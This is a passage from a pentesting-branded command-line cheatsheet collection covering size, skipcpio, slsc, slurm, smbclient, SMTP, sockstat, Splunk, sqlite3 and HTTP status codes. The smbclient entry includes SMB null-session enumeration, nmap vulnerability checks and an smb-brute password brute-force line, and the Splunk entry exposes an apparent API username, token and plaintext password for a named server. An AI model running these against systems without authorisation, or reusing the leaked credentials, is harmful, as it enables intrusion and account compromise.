░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

175 - 🖥️size

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the size command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██╗███████╗███████╗
#                ██╔════╝██║╚══███╔╝██╔════╝
#                ███████╗██║  ███╔╝ █████╗  
#                ╚════██║██║ ███╔╝  ██╔══╝  
#                ███████║██║███████╗███████╗
#                ╚══════╝╚═╝╚══════╝╚══════╝
                                           
                                          

# The size command lists the section sizes as well as the total size for an object or archive file.

size test
text data bss dec hex filename
1204 280 4 1488 5d0 test

#==============================##==============================#
# CMD SIZE						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

176 - 🖥️skipcpio

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the skipcpio command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗  ██╗██╗██████╗  ██████╗██████╗ ██╗ ██████╗ 
#  ██╔════╝██║ ██╔╝██║██╔══██╗██╔════╝██╔══██╗██║██╔═══██╗
#  ███████╗█████╔╝ ██║██████╔╝██║     ██████╔╝██║██║   ██║
#  ╚════██║██╔═██╗ ██║██╔═══╝ ██║     ██╔═══╝ ██║██║   ██║
#  ███████║██║  ██╗██║██║     ╚██████╗██║     ██║╚██████╔╝
#  ╚══════╝╚═╝  ╚═╝╚═╝╚═╝      ╚═════╝╚═╝     ╚═╝ ╚═════╝ 

# extract initrd/initramfs in current directory
/usr/lib/dracut/skipcpio /boot/initramfs-$(uname -r).img | zcat | cpio -ivd
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

177 - 🖥️slsc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the slsc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗     ███████╗ ██████╗
#  ██╔════╝██║     ██╔════╝██╔════╝
#  ███████╗██║     ███████╗██║     
#  ╚════██║██║     ╚════██║██║     
#  ███████║███████╗███████║╚██████╗
#  ╚══════╝╚══════╝╚══════╝ ╚═════╝

# slsc # SpreadSheet for console, written using libslang (legacy)

# to install
# * install libslang-dev first
wget http://jedsoft.org/snapshots/slsc-pre0.3.0-2.tar.gz
tar xf slsc*.tar.gz
cd slsc*/
./configure
make

# Inside slsc:

    #     /               Menu cursor to move, return to select
    #                     OR select by first letter
    #     ?               Help (for further help see section help below)
    #     First letters of a topic+Enter are enough
    #     Enter           to go back

    #     CTRL+G          mark region ends with CTRL+G

# Start a text/Enter in a field:

    #     < or >          to align a text field to left or right
    #     =               to enter a number or a formula
    #     TAB             to edit the text of a cell
    #     Backspace (<-)  do delete the cell content

# The config file is ~/.slscrc
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

178 - 🖥️slurm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the slurm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗     ██╗   ██╗██████╗ ███╗   ███╗
#  ██╔════╝██║     ██║   ██║██╔══██╗████╗ ████║
#  ███████╗██║     ██║   ██║██████╔╝██╔████╔██║
#  ╚════██║██║     ██║   ██║██╔══██╗██║╚██╔╝██║
#  ███████║███████╗╚██████╔╝██║  ██║██║ ╚═╝ ██║
#  ╚══════╝╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝

# sbatch squeue scancel scontrol sstat

# Submit a new job:
sbatch job.sh

# List all jobs for a user:
squeue -u user_name

# Cancel a job by id or name:
scancel job_id
scancel --name job_name

# List all information for a job:
scontrol show jobid -dd job_id

# Status info for currently running job:
sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j job_id --allsteps
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

179 - 🖥️smbclient

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the smbclient command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗███╗   ███╗██████╗  ██████╗██╗     ██╗███████╗███╗   ██╗████████╗
#                ██╔════╝████╗ ████║██╔══██╗██╔════╝██║     ██║██╔════╝████╗  ██║╚══██╔══╝
#                ███████╗██╔████╔██║██████╔╝██║     ██║     ██║█████╗  ██╔██╗ ██║   ██║   
#                ╚════██║██║╚██╔╝██║██╔══██╗██║     ██║     ██║██╔══╝  ██║╚██╗██║   ██║   
#                ███████║██║ ╚═╝ ██║██████╔╝╚██████╗███████╗██║███████╗██║ ╚████║   ██║   
#                ╚══════╝╚═╝     ╚═╝╚═════╝  ╚═════╝╚══════╝╚═╝╚══════╝╚═╝  ╚═══╝   ╚═╝   
                                                                                         
                                                                                         
# To display public shares on the server:
smbclient -L <hostname> -U%

# To connect to a share:
smbclient //<hostname>/<share> -U<username>%<password>

# Copy file to a Windows/Samba share without mounting it -> This commando copies the file (which must reside in the current directory) to //<server>/<share-name>/<subdirectory>/<file> through the CIFS protocol (Samba share or Windows Share). It doesn't require you to mount the filesystem first. --directory "<subdirectory>" may be omitted in order to copy the file the the root of the share. The "%password" part may also be omitted. If doing so, smbclient will ask for the password interactively. To copy a file from a Windows/Samba share, change "put" for "get". smbclient --user=user%password --directory "&lt;subdirectory&gt;" --command "get &lt;file&gt;" //&lt;server&gt;/&lt;share-name&gt; Show Sample Output
smbclient --user=user%password --directory "<subdirectory>" --command "put <file>" //<server>/<share-name>

# List shares on a machine using NULL Session
smbclient -L target-IP

# List shares on a machine using a valid username + password
smbclient -L target-IP -U usernmame%password

# List files on a specific share
smbclient //target-IP/share$ -c 'ls' password -U username

# List files on a specific share folder inside the share
smbclient //target-IP/share$ -c 'cd folder; ls' password -U username

# Download a file from a specific share folder
smbclient //target-IP/share$ -c 'cd folder;get desired_file_name' password -U username

# Copy a file to a specific share folder
smbclient //target-IP/share$ -c 'put /var/www/my_local_file.txt .\target_folder\target_file.txt' password -U username

# Create a folder in a specific share folder
smbclient //target-IP/share$ -c 'mkdir .\target_folder\new_folder' password -U username

# Rename a file in a specific share folder
smbclient //target-IP/share$ -c 'rename current_file.txt new_file.txt' password -U username

# nmap - Enum Users
nmap -p 445 --script smb-enum-users target-IP --script-args smbuser=username,smbpass=password

# nmap - Enum Groups
nmap -p 445 --script smb-enum-groups target-IP --script-args smbuser=username,smbpass=password

# nmap - Enum Shares
nmap -p 445 --script smb-enum-shares target-IP --script-args smbuser=username,smbpass=password

# nmap - OS Discovery
nmap -p 445 --script smb-os-discovery target-IP

# nmap - SMB Vulnerabilities on Windows
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms06-025
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms07-029
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms08-067
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms10-054
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms10-061
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms17-010
-- Always check for updated list on https://nmap.org/nsedoc/scripts/

# map - Brute Force Accounts (be aware of account lockout!)
nmap p 445 --script smb-brute script-args userdb=user-list.txt,passdb=pass-list.txt target-IP

#==============================##==============================#
# CMD SMBCLIENT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

180 - 🖥️smtp

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the smtp command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗███╗   ███╗████████╗██████╗ 
#                ██╔════╝████╗ ████║╚══██╔══╝██╔══██╗
#                ███████╗██╔████╔██║   ██║   ██████╔╝
#                ╚════██║██║╚██╔╝██║   ██║   ██╔═══╝ 
#                ███████║██║ ╚═╝ ██║   ██║   ██║     
#                ╚══════╝╚═╝     ╚═╝   ╚═╝   ╚═╝     
                                                    
                

SMTP Commands

The SMTP protocol, like so many other protocols, has its own subset of commands. Here are a few of the most important SMTP commands.

    HELO - This is the command that the client sends to the server to initiate a conversation. Generally, the IP address or domain name must accompany this command, such as HELO 192.168.101 or HELO client.microsoft.com.
    EHLO - This command is the same as HELO, but communicates to the server that the client wants to use Extended SMTP. If the server does not offer ESMTP, it will still recognize this command and reply appropriately.
    STARTTLS - Normally, SMTP servers communicate in plaintext. To improve security, the connection between SMTP servers can be encrypted by TLS (Transport Layer Security). This command starts the TLS session.
    RCPT - Specifies the email address of the recipient.
    DATA - Starts the transfer of the message contents.
    RSET - Used to abort the current email transaction.
    MAIL - Specifies the email address of the sender.
    QUIT - Closes the connection.
    HELP - Asks for the help screen.
    AUTH - Used to authenticate the client to the server.
    VRFY - Asks the server to verify is the email users mailbox exists.
	 
#==============================##==============================#
# CMD SMTP						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

181 - 🖥️sockstat

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sockstat command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗ ██████╗  ██████╗██╗  ██╗███████╗████████╗ █████╗ ████████╗
#                ██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝
#                ███████╗██║   ██║██║     █████╔╝ ███████╗   ██║   ███████║   ██║   
#                ╚════██║██║   ██║██║     ██╔═██╗ ╚════██║   ██║   ██╔══██║   ██║   
#                ███████║╚██████╔╝╚██████╗██║  ██╗███████║   ██║   ██║  ██║   ██║   
#                ╚══════╝ ╚═════╝  ╚═════╝╚═╝  ╚═╝╚══════╝   ╚═╝   ╚═╝  ╚═╝   ╚═╝   
                                                                                   
                                                                                   
                                                                                 
# To view which users/processes are listening to which ports:
sudo sockstat -l

#==============================##==============================#
# CMD SOCKSTAT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

182 - 🖥️splunk

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the splunk command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██████╗ ██╗     ██╗   ██╗███╗   ██╗██╗  ██╗
#                ██╔════╝██╔══██╗██║     ██║   ██║████╗  ██║██║ ██╔╝
#                ███████╗██████╔╝██║     ██║   ██║██╔██╗ ██║█████╔╝ 
#                ╚════██║██╔═══╝ ██║     ██║   ██║██║╚██╗██║██╔═██╗ 
#                ███████║██║     ███████╗╚██████╔╝██║ ╚████║██║  ██╗
#                ╚══════╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝  ╚═══╝╚═╝  ╚═╝
                                                                   
                                                                  
# indexes we have
index="network_dhcp" dest_ip=10.16.238.62
index="security_symantec" Security risk found
index="network_proxy_cisco" src_ip=XX.xx
index="network_proxy_cisco" 192.168.0.0
index="network_firewall_cisco" 195.....
index="network_wlc_cisco" 195.....

#network_api_user
9kg9y-EtaZBcqHti_ykz

#Zur Verwendung ist hier eine Beschreibung:
https://docs.splunk.com/Documentation/SplunkCloud/8.0.0/RESTUM/RESTusing

#Zuerst musst du dir einen Session-Key holen der temporär für eine Stunde gültig ist:
curl -k https://splunk.lxu.io:8089/services/auth/login --data-urlencode username=network_api_user --data-urlencode password=

#Folgende Befehle können dann mit eingbunden Session-Key im Header ausgeführt werden:
curl -k -H "Authorization: Splunk <session-key>" ...

#Eine wird wie folgt ausgeführt:
curl -k -H "Authorization: Splunk <session_key>" https://splunk.lxu.io:8089/services/search/jobs/export -d search="search index=network_dhcp earliest=-5m | stats count"

Sessionkey = curl -k https://splunk.lxu.io:8089/services/auth/login --data-urlencode username=network_api_user --data-urlencode password=5xgOy-EtaZTcqHti_ZkY

curl -k -H "Authorization: Splunk $SESSIONKEY" https://splunk.lxu.io:8089/services/search/jobs/export -d search="search index=network_dhcp earliest=-5m | stats count"

curl -k -H "Authorization: Splunk $SESSIONKEY" https://splunk.lxu.io:8089/services/search/jobs/export -d search="search index=network_proxy_cisco earliest=-5m | top dest limit=50" 

#==============================##==============================#
# CMD SPLUNK						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

183 - 🖥️sport

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sport command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██████╗  ██████╗ ██████╗ ████████╗
#                ██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝
#                ███████╗██████╔╝██║   ██║██████╔╝   ██║   
#                ╚════██║██╔═══╝ ██║   ██║██╔══██╗   ██║   
#                ███████║██║     ╚██████╔╝██║  ██║   ██║   
#                ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝   ╚═╝   
                

                                                         
# Sync to newest SlackBuild.org tree
sport r

# Search (fuzzy) SlackBuild tree for packages foo and BaR
sport s foo bar

# Operate from alternate build tree
SBOPATH=/path/to/tree sport s foo

# View info and README of BaR (not fuzzy)
sport c foo BaR

# Build a package
sport i --build-only foo

# Build and install package foo and BaR
sport i foo BaR

# Build and install package from current directory
sport i .

# Upgrade instead of install
INSTALLER=upgradepkg sport i foo

# Build dependency list for baz
echo "foo BaR" >> /tmp/baz.list

# Install list of packages from file
sport i $(< /tmp/baz.list)

# Check if package is installed
sport k foo

#==============================##==============================#
# CMD SPORT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

184 - 🖥️sqlite3

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sqlite3 command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗ ██████╗ ██╗     ██╗████████╗███████╗██████╗ 
#                ██╔════╝██╔═══██╗██║     ██║╚══██╔══╝██╔════╝╚════██╗
#                ███████╗██║   ██║██║     ██║   ██║   █████╗   █████╔╝
#                ╚════██║██║▄▄ ██║██║     ██║   ██║   ██╔══╝   ╚═══██╗
#                ███████║╚██████╔╝███████╗██║   ██║   ███████╗██████╔╝
#                ╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝   ╚═╝   ╚══════╝╚═════╝ 
                                                                     
                

# create database and launch interactive shell
sqlite3 example.db

# create table
sqlite3 example.db "CREATE TABLE Os(ID INTEGER PRIMARY KEY, Name TEXT, Year INTEGER);"

# insert data
sqlite3 example.db "INSERT INTO 'Os' VALUES(1,'Linux',1991);"

# list tables
sqlite3 example.db ".tables"

# view records in table
sqlite3 example.db "SELECT * FROM 'Os';"

# view records in table conditionally
sqlite example.db "SELECT * FROM 'Os' WHERE Year='1991';"

# view records with fuzzy matching
sqlite3 ~/example.db "SELECT * FROM 'Os' WHERE Year like '19%';"

#==============================##==============================#
# CMD SQLITE3						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

185 - 🖥️statuscode

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the statuscode command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#    ███████╗████████╗ █████╗ ████████╗██╗   ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗
#    ██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝
#    ███████╗   ██║   ███████║   ██║   ██║   ██║███████╗██║     ██║   ██║██║  ██║█████╗  
#    ╚════██║   ██║   ██╔══██║   ██║   ██║   ██║╚════██║██║     ██║   ██║██║  ██║██╔══╝  
#    ███████║   ██║   ██║  ██║   ██║   ╚██████╔╝███████║╚██████╗╚██████╔╝██████╔╝███████╗
#    ╚══════╝   ╚═╝   ╚═╝  ╚═╝   ╚═╝    ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
                                                                                                    
                                                                                                   

# 1xx Informational Responses
# HTTP status codes in the 1xx are typically informational.
100 Continue
101 Switching Protocols
102 Processing
103 Checkpoint
122 Request-URI too long

# 2xx Successful Responses
# Status codes in the 2xx range indicate that the transaction was received, understood, accepted and processed successfully.
200 OK
201 Created
202 Accepted
203 Non-Authoritative Information (since HTTP/1.1)
204 No Content
205 Reset Content
206 Partial Content
207 Multi-Status (WebDAV) (RFC 4918)
226 IM Used (RFC 3229)

# 3xx Redirection Responses
# HTTP status codes in the 3xx range pertain to redirection. The client must take additional action to complete the request.
300 Multiple Choices
301 Moved Permanently
302 Found
303 See Other (since HTTP/1.1)
304 Not Modified
305 Use Proxy (since HTTP/1.1)
306 Switch Proxy
307 Temporary Redirect (since HTTP/1.1)
308 Resume Incomplete

# 4xx Client Error
# HTTP status codes in the 4xx range indicate that a problem occurred with the request.
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Precondition Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Requested Range Not Satisfiable
417 Expectation Failed
418 I am a teapot (RFC 2324)
422 Unprocessable Entity (WebDAV) (RFC 4918)
423 Locked (WebDAV) (RFC 4918)
424 Failed Dependency (WebDAV) (RFC 4918)
425 Unordered Collection (RFC 3648)
426 Upgrade Required (RFC 2817)
428 Precondition Required
429 Too Many Requests
431 Request Header Fields Too Large
444 No Response
449 Retry With
450 Blocked by Windows Parental Controls
499 Client Closed Request

# 5xx Server Error
# Error codes in the 5xx range indicate that server is aware that it has encountered an error or is otherwise incapable of performing the request.
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout
505 HTTP Version Not Supported
506 Variant Also Negotiates (RFC 2295)
507 Insufficient Storage (WebDAV) (RFC 4918)
509 Bandwidth Limit Exceeded (Apache bw/limited extension)
510 Not Extended (RFC 2774)
511 Network Authentication Required
598 (Informal convention) network read timeout error
599 (Informal convention) network connect timeout error

#==============================##==============================#
# CMD STATUSCODE						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

